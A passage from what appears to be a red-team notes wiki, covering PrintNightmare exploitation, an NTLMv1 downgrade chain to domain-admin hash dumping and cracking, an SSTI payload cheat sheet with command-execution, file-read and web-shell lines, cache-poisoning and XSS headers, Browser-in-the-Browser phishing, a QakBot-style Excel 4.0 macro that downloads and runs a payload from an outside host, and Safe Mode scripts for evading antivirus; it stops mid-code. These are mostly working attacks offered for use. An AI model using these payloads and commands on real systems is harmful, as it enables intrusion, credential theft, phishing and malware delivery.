If you don’t have a direct connection but are working via an agent, you can proxy the tool through socks and perform the DNS queries over TCP with the `--dns-tcp` flag.

## Mitigations

You shouldn’t really rely on secrecy of your DNS records for security. If you really want to hide this information, removing the “List contents” permission for “Everyone” and “Pre-Windows 2000 Compatible Access” does prevent regular users from querying the entries, but this does require disabling inheritance on the DNS zone and may break stuff, so I don’t really recommend going that way. Monitoring for high volumes of DNS queries or enabling auditing on DNS zone listings may be a better way to deal with this, by detecting instead of blocking this kind of activity.

## The tools

adidnsdump is available on [GitHub](https://github.com/dirkjanm/adidnsdump) and on PyPI (`pip install adidnsdump`). Right now the tool only dumps records to CSV files, but feel free to submit requests for alternate formats.

## Sources

{% embed url="<https://blog.fox-it.com/2019/04/25/getting-in-the-zone-dumping-active-directory-dns-using-adidnsdump/>" %}


# PrintNightmare

## Scanner

```
python3 /usr/share/doc/python3-impacket/examples/rpcdump.py @10.20.11.x | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
```

![](/files/SE38BOi3pfTBw8XMzlc3)

A scanner has been also incorporated to [PingCastle](https://www.pingcastle.com/) which is a tool that can benchmark the security posture of an active directory. The “*spooler*” from the scanner menu can scan all hosts on the domain, only servers, only workstation or only the domain controllers.

{% embed url="<https://github.com/vletoux/pingcastle>" %}

**Massive scanner:**

{% embed url="<https://github.com/byt3bl33d3r/ItWasAllADream>" %}

## Exploit

The Impacket implementation of PrintNightmare was developed by [Cube0x0](https://twitter.com/cube0x0) and could be found in the [CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675) GitHub repository. The current version of Impacket produce errors while attempting to exploit the PrintNightmare vulnerability through the python script. Therefore it is recommended to use the version which is included in the repository. The script requires domain user credentials, the IP address of the domain controller and the UNC path which the DLL is hosted.

```
python3 ./CVE-2021-1675.py purple.lab/pentest:Password123@10.0.0.1 '\\10.0.0.7\smb\pentestlab.dll'
```

![](/files/JFwdlE8yERxPfGHKP6d9)

The python script will attempt to bind to the Print Service and identify the driver path. Then will execute the malicious driver from the UNC path. The “*multi/handler*” Metasploit module was used in order to capture the connection. Looking at the Meterpreter session SYSTEM level privileges have been obtained on the domain controller. This is because the malicious driver was executed under the context of the Print Spooler service and not from the perspective of the user.

![](/files/emiLi6CC8ysYqbUCgUvP)

## Maybe fixed | Error

\
**0x8001011b** is the error code for RPC\_E\_ACCESS\_DENIED. I know that this is an indication of a fixed system when returned for `RpcAddPrinterDriver` (see, e.g., the functionality of <https://github.com/ly4k/PrintNightmare>).

\
In this case, the error is returned for `RpcEnumPrinterDrivers`. I don't know in detail if this is also a valid sign of a patched system, but it does seem likely.

\
[#59](https://github.com/cube0x0/CVE-2021-1675/issues/59) seems to reference the same issue, so I am cross-referencing it here in case others are looking for an answer.<br>

## Sources

{% embed url="<https://pentestlab.blog/tag/printnightmare/>" %}

<https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html>

<br>


# From DFSCoercer to DA

## **Attack Environment Setup**

For the attack to be successful, there are (4) requirements:

1. Any valid domain account credentials
2. Network connectivity to the target SMB (Server Message Block) Service.
3. The target host must be running the *Print Spooler* service
4. The target host must be allowed to send NTLMv1 responses (cannot be set to enforce NTLMv2 responses)

![](/files/cCgSBGFh4OgyU2d7knz3)

To determine if NTLM responses can be sent, I will check *secpol.msc* at *Security Settings\Local Policies\Security Options\Network security: LANManager authentication level*. Vulnerable settings can be any of the following:

**-     &#x20;*****Send LM& NTLM responses***

**-     &#x20;*****Send LM& NTLM – use NTLMv2 session security if negotiated***

***-      SendNTLM responses only*****.**

![](/files/TZAiixQ8raUQmfdfWnaF)

## **Step1: set responder challenge**

First, ensure that Responder’s challenge is set to 1122334455667788 in *Responder.conf:*

![](/files/LkGaO3zdwpvMEX1FXwzo)

## Step2: Start Responder

```
sudo python3 /usr/share/responder/Responder.py -I eth0 -w --disable-ess --lm
```

**--disabled-ess and --lm**

This is because the captured hash is NTLMv1 with SSP(Security Support Provider), which changes the server challenge and is not quite ideal for the attack. We can use Responder’s LanMan downgrade flag to get a NTLMv1 hash without SSP.

## Step3: Use Coercer to test and execute the attack

Before starting, we can use crackmapexec to test if the spooler service in enabled.

```
crackmapexec smb -u "" -p "" target_ip -M spooler
```

![](/files/5EXoIXDanqBM1KLfOfCx)

{% embed url="<https://github.com/p0dalirius/Coercer>" %}

## Step4: Machine hash obtained

![](/files/prCuaZRk1LhVrsGcigta)

Now that the DC’s NTLMv1 hash has been captured, it can be cracked back into a plain NTLM hash, compatible with pass-the-hash attacks.This can be done quickly by submitting NTHASH:\<response>to [crack.sh](https://crack.sh/), which uses rainbow tables, or by manually reconstructing the NTLM hash from its DES elements using hashcat and EvilMog’s [ntlmv1-multi ](https://github.com/evilmog/ntlmv1-multi)tool (my hashcat rig with an NVIDIA 3090 takes around 16 days to brute-force the needed DES hashes).

## Step5: Preparing the hash

```
python3 ntlmv1.py --ntlmv1 "hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788"

Hashfield Split:
['hashcat', '', 'DUSTIN-5AA37877', '85D5BC2CE95161CD00000000000000000000000000000000', '892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
LM Response: 85D5BC2CE95161CD00000000000000000000000000000000
NT Response: 892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0
Client Challenge: 1122334455667788
SRV Challenge: b36d2b9a8607ea77

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000

To crack with hashcat create a file with the following contents:
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
$NETLM$b36d2b9a8607ea77$892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0
```

## Step 6: Cracking it or submit it to crack.sh

### Cracking it online:&#x20;

{% embed url="<https://crack.sh/>" %}

### Hashcat:

1. U**se this charset:**

{% embed url="<https://raw.githubusercontent.com/brannondorsey/naive-hashcat/master/hashcat-3.6.0/charsets/DES_full.charset>" %}

**2. Create a file with the following content from step5:**

```
892F905962F76D32:b36d2b9a8607ea77 >> 14000.hash
3837F613F88DE27C:b36d2b9a8607ea77 >> 14000.hash
```

**3. Execute hashcat**

```
.\hashcat.exe -m 14000 -a 3 -1 .\charsets\DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1
```

## Step7: NTLM hash obtained + secrets dump

After obtaining the cracked NTLM hash, we need to find out the target user. We can dump the domain users with ldapdump or bloodhound before. When a domain admin account is picked up, we just need to execute the following command (DSync attack):

```
 impacket-secretsdump -hashes :5###74f2###########dfd888b -just-dc-user target_username DOMAIM/MACHINE_NAME\$@10.20.2.2
```

The NTLM account of the domain admin can be obtained.

## Step8: Dump AD users

impacket-secretsdump -just-dc-ntlm domain/user\@10.0.0.6

![](/files/un3Up8OuyVbMIgX6EID9)

## Step9: Password cracking

python3 script\_passwords.py hashes.txt cracked.txt

```
#!/usr/bin/env python

import sys

print("---start process---")

file_hashes = sys.argv[1]
file_cracked = sys.argv[2]

with open(file_hashes) as f:
    hashes = [line.rstrip() for line in f]

with open(file_cracked) as f:
    cracked = [line.rstrip() for line in f]

f = open("output.txt", "w")

for hash in hashes:
	for crack in cracked:
		a=crack.split(":")
		if a[0] in hash:
			f.write(crack)
			f.write("\n")
			
f.close()

```

The ouput.txt file is generated with all the NTLM hashes, including repetitions.

Finally, the top of passwords can be see:

```
cat output.txt | sort | uniq -c | sort -nr
```

![](/files/0UqdWyFyyKfUlgj0ZuSg)

## Resources

{% embed url="<https://crack.sh/netntlm/>" %}

{% embed url="<https://github.com/evilmog/ntlmv1-multi>" %}

{% embed url="<https://hashcat.net/forum/thread-9009.html>" %}

{% embed url="<https://github.com/p0dalirius/Coercer>" %}

{% embed url="<https://www.fortalicesolutions.com/posts/elevating-with-ntlmv1-and-the-printer-bug>" %}


# Fuzzing and Web


# Server Side Template Injection (SSTI)

How to explore Server Side Template Injection (SSTI) vulnerabilities.

&#x20;Server-side template injection is a vulnerability where the attacker [injects malicious input](https://cobalt.io/vulnerability-wiki/v10-malicious) into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).

## How SSTI works

Template engines are designed to combine templates with a data model to produce result documents which help to populate dynamic data into web pages.&#x20;

Template engines are:

* **PHP–Smarty,Twigs**
* **JAVA–Velocity,Freemaker**
* **Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage**
* **Ruby-Liquid**

## **How to explore SSTI?**

SSTI can be injected everywhere, e.g., fuzzing an HTTP parameter.

```
POST /endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=value
```

To detect this vulnerability, we can use the following chars:

```
${{<%[%'"}}%\.
```

Potential exploitation scenario:

```
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=${{<%[%'"}}%\.
```

Potential crash:

![](/files/-M_LMs4F92Cf2y7OkZCg)

If the error message is not displaying the template engine, we can test via known syntaxes for the popular template engines:

```
=${7*3}
={{7*3}}
=<%= 7*3 %>
```

Check out everytime the documentation of the manual for the template engine (which is Django in this case) and use the following payload to read the debug output:

```
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={% debug %}
```

The output of the payload above is the following:

![](/files/-M_LNDFv01dcUR9Fm1qe)

Read the secret key using the ‘settings’ object that’s available:

```
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={{settings.SECRET_KEY}}
```

## Methodology of finding SSTI flaws

To identify the vulnerability, the following to-do list can be followed:

* Detect where the template injection exist
* Identify the template engine and validate the vulnerability
* Follow the manuals for the specific template engine
* Exploit the vulnerability

The following cheat sheet can be used to identify the template engine in use:

![](/files/-M_LNZrXdvzOSpsfD9l4)

## Automated Tools <a href="#id-7b39" id="id-7b39"></a>

[Tplmap ](https://github.com/epinna/tplmap)assists in the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with several sandbox escape techniques to get access to the underlying operating system.

The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tools during web application penetration tests.

For more information, please check the GitHub repository for the tool [here](https://github.com/epinna/tplmap).

{% embed url="<https://github.com/epinna/tplmap>" %}

## Cheatsheet <a href="#id-1dcc" id="id-1dcc"></a>

```
Polyglot:
${{<%[%'"}}%\

FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }

(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}

Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

Mojolicious (Perl):
<%= perl code %>
<% perl code %>

Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}

Flask/Jinja2: 
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Razor (.Net):
@(1+2)
@{// C# code}
```

For more payloads, please refer to [here](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen).

## References

{% embed url="<https://blog.cobalt.io/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>" %}


# Finding SSRF (all scope)

The goal of this laboratory is to use some tools to collect all subdomains from a specific domain, all the URLs and parameters, and retrieve some results using the burp collaborator utility.

## Tools

[**subfinder**](https://github.com/projectdiscovery/subfinder) - subdomain discovery.

How to install it:

```
GO111MODULE=on go get -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder
```

&#x20;[**qsreplace**](https://github.com/tomnomnom/qsreplace) - Accept URLs on stdin, replace all query string values with a user-supplied value.

How to install it:

```
go get -u github.com/tomnomnom/qsreplace
```

&#x20;[**gau**](https://github.com/lc/gau)**:** Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl.

How to install it:

```
GO111MODULE=on go get -u -v github.com/lc/gau
```

&#x20;[**waybackurls**](https://github.com/tomnomnom/waybackurls)**:** Fetch all the URLs that the Wayback Machine knows about for a domain.

How to install it:

```
go get github.com/tomnomnom/waybackurls
```

&#x20;[**gf**](https://github.com/tomnomnom/gf)**:** A wrapper around grep, to help you grep for things.

How to install it:

```
go get -u github.com/tomnomnom/gf
```

List to exclude:

```
grep -v "\.css?ver" | grep -v "\.js" | grep -v "\.png" | grep -v "\.woff" | grep "collaborator"
```

&#x20;[**ffuf**](https://github.com/ffuf/ffuf)**:** Fast web fuzzer written in Go.

How to install it:

```
go get -u github.com/ffuf/ffuf
```

## Scope

```
In Scope: *.example.com
```

## Harvester

```
gau -subs example.com; subfinder -d example.com -silent | waybackurls | sort -u > output.txt
```

## Replacing params

```
cat output.txt | qsreplace "http://xxxxxxxxxxx.burpcollaborator.net" >> fuzz_list.txt
```

## Fuzzing and test

```
ffuf -c -w fuzz_list.txt -u FUZZ -t 200 -r
```

## Resources

To collect all URLs from several sources:

{% embed url="<https://github.com/signedsecurity/sigurlfind3r>" %}


# Format String Exploitation

Exploiting format string flaw

A Format String attack can occur when an input string data is processed by a vulnerable function so that attacker can pass the formats to exploit the stack values with the help of format string functions/printf() family functions.

## Common Formats in Printf() Family <a href="#id-1567" id="id-1567"></a>

1. **%c** — Formats a single character
2. **%d** — Formats an integer in decimal value
3. **%f** — Formats float in decimal value
4. **%p** — Formats a pointer to address location
5. **%s** — Formats a string
6. **%x** — Formats a hexadecimal value
7. **%n** — Number of bytes written

## Vulnerable Functions to Format String <a href="#b250" id="b250"></a>

1. **printf()**
2. f**printf()**
3. **sprintf()**
4. **vprintf()**
5. **snprintf()**
6. **vsnprintf()**
7. **vfprintf()**

## Vulnerable code example

![](/files/-MYgQbd77fDsOsN6Ar70)

Compiling this binary with GCC (no flags)

![](/files/-MYgQhZFmQYYTFio6gMF)

When we pass a normal string data, it prints it successfully

![](/files/-MYgQki29hIO_lFggQBy)

If we pass beyond the buffer it gets crashed. But if we pass string with format values, it gives us the random stack values which is being popped from it:

![](/files/-MYgQnk7OYdwUMy9RK1A)

## Other Scenarios

```
#include  <stdio.h> 
void main(int argc, char **argv)
{
	// This line is safe
	printf("%s\n", argv[1]);

	// This line is vulnerable
	printf(argv[1]);
}

./example "Hello World %p %p %p %p %p %p"
Hello World %p %p %p %p %p %p
Hello World 000E133E 000E133E 0057F000 CCCCCCCC CCCCCCCC CCCCCCCC
```

## Mitigation <a href="#ddf6" id="ddf6"></a>

1. Use format strings corresponding to the assigned variables
2. Use of “%s” as format string can make the whole input as a single string
3. Use arguments to call values and functions
4. Defensive strategy like ‘format\_gaurd’ can be used

## References

{% embed url="<https://github.com/arthaud/formatstring>" %}

{% embed url="<http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html>" %}

{% embed url="<https://aidenpearce369.medium.com/exploiting-format-string-vulnerability-97e3d588da1b>" %}

{% embed url="<https://owasp.org/www-community/attacks/Format_string_attack>" %}

{% embed url="<https://nikhilh20.medium.com/format-string-exploit-ccefad8fd66b>" %}

{% embed url="<https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf>" %}

{% embed url="<https://youtu.be/0WvrSfcdq1I>" %}


# Cache Poisoning using Nuclei

Discovering cache poisoning vulnerabilities using nuclei.

## HTTP Headers

In this lab, we are going to use nuclei tool for discovering cache poisoning vulnerabilities on web applications.

To do this, we need to use common unkeyed inputs headers such as:

```
X-Forwarded-Prefix: cache.my_evil_dns.com
X-Forwarded-Host: cache.my_evil_dns.com
X-Forwarded-For: cache.my_evil_dns.com
X-Originating-IP: cache.my_evil_dns.com
X-Remote-IP: cache.my_evil_dns.com
X-Remote-Addr: cache.my_evil_dns.com
X-Client-IP: cache.my_evil_dns.com
```

In detail, to trigger cache poisoning vulnerabilities we need two requests:

* The first that causes the server to cache the poisoned response
* The second will retrieve the poisoned response from the server-side.

## Building the Nuclei template

To carry out this scenario, we can build our nuclei template as presented below.

```yaml
id: cache-poisoning    

info:
  name: HTTP Cache Poisoning
  author: sirpedrotavares / seguranca-informatica.pt
  severity: medium

requests:
  - raw:
      - |
        GET /?evil=007 HTTP/1.1
        X-Forwarded-Prefix: cache.my.evil.dns.com
        X-Forwarded-Host: cache.my.evil.dns.com
        X-Forwarded-For: cache.my.evil.dns.com
        X-Originating-IP: cache.my.evil.dns.com
        X-Remote-IP: cache.my.evil.dns.com
        X-Remote-Addr: cache.my.evil.dns.com
        X-Client-IP: cache.my.evil.dns.com

      - |
        GET /?evil=007 HTTP/1.1

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "cache.my.evil.dns.com") == true'
```

We can test this template using the PortSwigger Lab [**here**](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header)**.**

```yaml
.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml
```

And yeah, we got it :sunglasses:&#x20;

![](/files/-MXqLicOAdx-IYnTI_Fv)

## Bug Bounty tip

You can use this strategy to find vulnerabilities like these in bug bounty programs. To start, you can use [**bbscope**](https://github.com/sw33tLie/bbscope) tool to get your scope from your public and private programs (HackerOne, Bugcrowd, and Intigriti).

```yaml
X-Forwarded-For: cache.my_evil_dns.com"></script><script>alert(document.domain);</script>
```

## References

{% embed url="<https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning>" %}

{% embed url="<https://galnagli.com/Cache_Poisoning/>" %}


# Initial Foothold


# Browser In The Browser (BITB) Attack

The content of this page is directly retrivied from the original publication.

{% embed url="<https://mrd0x.com/browser-in-the-browser-phishing-attack>" %}

## Browser In The Browser (BITB) Attack

March 15, 2022

This article explores a phishing technique that simulates a browser window within the browser to spoof a legitimate domain.

## Introduction

For security professionals, the URL is usually the most trusted aspect of a domain. Yes there’s attacks like [IDN Homograph](https://www.akamai.com/blog/security/watch-your-step-the-prevalence-of-idn-homograph-attacks) and [DNS Hijacking](https://www.cloudflare.com/en-ca/learning/security/global-dns-hijacking-threat/) that may degrade the reliability of URLs but not to an extent that makes URLs unreliable.

All of this eventually lead me to think, is it possible to make the “Check the URL” advice less reliable? After a week of brainstorming I decided that the answer is yes.

![](https://mrd0x.com/static/demo-871d93a543cbab9c141747b773aac595-6181f.png)

## Pop-Up Login Windows

Quite often when we authenticate to a website via Google, Microsoft, Apple etc. we’re provided a pop-up window that asks us to authenticate. The image below shows the window that appears when someone attempts to login to Canva using their Google account.

![](https://mrd0x.com/static/canva-dc7352a5c2ef20fda5679b8b67b9c70b-6181f.png)

### Replicating The Window

Fortunately for us, replicating the entire window design using basic HTML/CSS is quite simple. Combine the window design with an iframe pointing to the malicious server hosting the phishing page, and its basically indistinguishable. The image below shows the fake window compared with the real window. Very few people would notice the slight differences between the two.

![](https://mrd0x.com/static/real-fake-b3c219e9874e9baca7a0eb6da39d693c-6181f.png)

JavaScript can be easily used to make the window appear on a link or button click, on the page loading etc. And of course you can make the window appear in a visually appealing manner through animations available in libraries such as JQuery.

## Demo

![Demo-GIF](https://mrd0x.com/demo-c2b899d2175d71fb45e3f86a8ba80644.gif)

## Custom URL on-hover

Hovering over a URL to determine if it’s legitimate is not very effective when JavaScript is permitted. HTML for a link generally looks like this:

```
<a href="https://gmail.com">Google</a>
```

If an onclick event that returns false is added, then hovering over the link will continue to show the website in the `href` attribute but when the link is clicked then the `href` attribute is ignored. We can use this knowledge to make the pop-up window appear more realistic.

```
<a href="https://gmail.com" onclick="return launchWindow();">Google</a>

function launchWindow(){
    // Launch the fake authentication window
    return false; // This will make sure the href attribute is ignored
}
```

## Available Templates

I’ve created templates for the following OS and browser:

* Windows - Chrome (Light & Dark Mode)
* Mac OSX - Chrome (Light & Dark Mode)

The templates are available on my Github [here](https://github.com/mrd0x/BITB).

## Conclusion

With this technique we are now able to up our phishing game. The target user would still need to land on your website for the pop-up window to be displayed. But once landed on the attacker-owned website, the user will be at ease as they type their credentials away on what appears to be the legitimate website (because the trustworthy URL says so).


# Phishing with Office


# Weaponizing XLM 4.0 macros

XLM macros a part of the Microsoft Office suite, and are an amazing resource to implement an initial foothold scenario to execute payloads in a red teaming exercise. This scenario is inspired on the following malwares that abuse XLM macro to load the first stage into the memory.

{% embed url="<https://seguranca-informatica.pt/a-taste-of-the-latest-release-of-qakbot/#.YJQ_ibVKhPY>" %}

{% embed url="<https://seguranca-informatica.pt/flawedammyy-leveraging-undetected-xlm-macros-as-an-infection-vehicle/#.YJQ_wLVKhPb>" %}

## Playing with XML Macros

To start this laboratory, the first step is to create the XML macro inside an Excel document.

**Click on "Sheet"** / **Right click** / **Add "XML Macro 4.0"** / **OK**

After that, a new sheet will be created as presented below.

![](/files/-M_27lfnWJ_FqASjJnjJ)

As a first test, we can execute "calc.exe" process when the macro is opened.

```
=EXEC("calc.exe")
=HALT()
```

Note how we need to rename the `A1` cell to `Auto_Open` if we want the Macros to fire off once the document is opened:

![](/files/-M_29ceZ2IStcGvrcfVE)

After that, we can "save" our first PoC. Remember to save the document with Seet with privileges to execute Excel Macros (at the top of the options).

![](/files/-M_2AAT9D6_a2fgu1vwm)

As expected, the calc.exe is launched when the excel file is opened. :sunglasses:&#x20;

![](/files/-M_2BM8jLxtXgveeRKO-)

## **Weaponizing XML macros**

In order to perform a more complex scenario, we can simply adopt the approach used for instance by QakBot trojan malware.

```
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH(“Windows”,GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:\Windows\system32\reg.exe”,”EXPORT HKCU\Software\Microsoft\Office\”&GET.WORKSPACE(2)&”\Excel\Security c:\users\public\1.reg /y”,0,5)
=WAIT(NOW()+”00:00:03″)
=FOPEN(“c:\users\public\1.reg”)
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE(“c:\users\public\1.reg”)
=IF(ISNUMBER(SEARCH(“0001”,R[-3]C)),CLOSE(FALSE),)
=CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,”https://ddfspwxrb.club/fb2g424g”,”c:\Users\Public\csg75ef.html”,0,0)
=IF(R[-1]C<0,CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,”https://ddfspwxrb.club/fb2g424g”,”c:\Users\Public\bwep5ef.html”,0,0),)
=ALERT(“The workbook cannot be opened or repaired by Microsoft Excel because it’s corrupt.”,2)
=CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:\Windows\system32\rundll32.exe”,”c:\Users\Public\csg75ef.html,DllRegisterServer”,0,5)
=CLOSE(FALSE)
```

The first two lines in the code are a particular highlight. These lines are actually an anti-evasion technique used to identify whether the file is facing a human or a machine (a sandbox). The GET.WORKSPACE() command gathers information about the properties of the environment. Each property is referenced by a number.

The documentation for the two investigated properties is as follows:

* **19:** If a mouse is present, returns TRUE; otherwise, returns FALSE.
* **42:** If your computer is capable of playing sounds, returns TRUE; otherwise, return FALSE.

These two properties, when being negative, are a fairly good indication for the malware to “understand” if it run inside a sandbox. Hence, the =IF(GET.WORKSPACE(19),,CLOSE(TRUE)) statement basically means that if the code is running inside a sandbox, it needs to “bail-out”, and avoid continuing to the malicious parts of the macro. This allows the sample to evade some dynamic security products that lack the proper emulation of such characteristics.

{% embed url="<https://github.com/FortyNorthSecurity/EXCELntDonut>" %}


# Privilege Escalation (Privesc)


# AV/EDR Bypass


# Bypass AV/EDR using Safe Mode

Bypass AV/EDR using Safe Mode during your Red Teaming experiments.

Several pieces of malware are using EDR/AV in safe mode to execute the malicious code and evade detection.

{% embed url="<https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/>" %}

## Safe mode scripts

{% tabs %}
{% tab title="DoIt.bat" %}

```bash
sc create CheckSafeMode binpath= "C:\Users\Public\CheckSafeMode.exe" type= own start= auto DisplayName= "CheckSafeMode"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode" /f /v "Service"
bcdedit /set {current} safeboot Minimal
shutdown /r /f /t 00
```

{% endtab %}

{% tab title="UndoIt.bat" %}

```bash
sc delete CheckSafeMode
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode" /f
```

{% endtab %}

{% tab title="CheckSafeMode.cs" %}

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Management;

namespace CheckSafeMode
{
    class Program
    {

        internal const int SM_CLEANBOOT = 67;

        [DllImport("user32.dll")]
        internal static extern int GetSystemMetrics(int smIndex);
        static void Main(string[] args)
        {
            var IsSafeMode = GetSystemMetrics(SM_CLEANBOOT);

            bool safeModeActive = Convert.ToBoolean(IsSafeMode);
            if (safeModeActive)
            { 

            ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct");
            ManagementObjectCollection data = wmiData.Get();


                foreach (ManagementObject virusChecker in data)
                {
                    var AvName = virusChecker["displayName"];

                    var xstate = virusChecker["productState"];
                    var f = Convert.ToInt32(xstate);
                    var zz = f.ToString("X").PadLeft(6, '0');

                    var StatusOfAV = "";
                    var y = zz.Substring(2, 2);
                    switch (y)
                    {
                        case "00":
                            StatusOfAV = "OFF";
                            break;
                        case "01":
                            StatusOfAV = "Exipired";
                            break;
                        case "10":
                            StatusOfAV = "ON";
                            break;
                        case "11":
                            StatusOfAV = "Snoozed";
                            break;
                        default:
                            StatusOfAV = "Unknown";
                            break;
                    }

                    string text = String.Format("In SafeBoot Mode = {0}   AVInstalled =  {1}  Status = {2} ", Convert.ToBoolean(IsSafeMode).ToString(), AvName.ToString(), StatusOfAV);
                    System.IO.File.WriteAllText(@"C:\Users\Public\SafeBoot.txt", text);
                    BcdStoreAccessor b = new BcdStoreAccessor();
                    b.RemoveSafeboot();
                    Shutdown.Restart();
                }
            }

	    //some stuff came from here
            //https://gallery.technet.microsoft.com/scriptcenter/Get-the-status-of-4b748f25
        }

       
        public static bool AntivirusInstalled()
        {
            string wmipathstr = @"\\" + Environment.MachineName + @"\root\SecurityCenter2";
            try
            {
                ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmipathstr, "SELECT * FROM AntivirusProduct");
                ManagementObjectCollection instances = searcher.Get();           
                return instances.Count > 0;
            }

            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }

            return false;
        }
		
		// https://stackoverflow.com/questions/25295117/use-c-sharp-bcd-wmi-provider-to-safeboot-windows?noredirect=1
		public class BcdStoreAccessor
		{
			public const int BcdOSLoaderInteger_SafeBoot = 0x25000080;

			public enum BcdLibrary_SafeBoot
			{
				SafemodeMinimal = 0,
				SafemodeNetwork = 1,
				SafemodeDsRepair = 2
			}

			private ConnectionOptions connectionOptions;
			private ManagementScope managementScope;
			private ManagementPath managementPath;

			public BcdStoreAccessor()
			{
				connectionOptions = new ConnectionOptions();
				connectionOptions.Impersonation = ImpersonationLevel.Impersonate;
				connectionOptions.EnablePrivileges = true;

				managementScope = new ManagementScope("root\\WMI", connectionOptions);

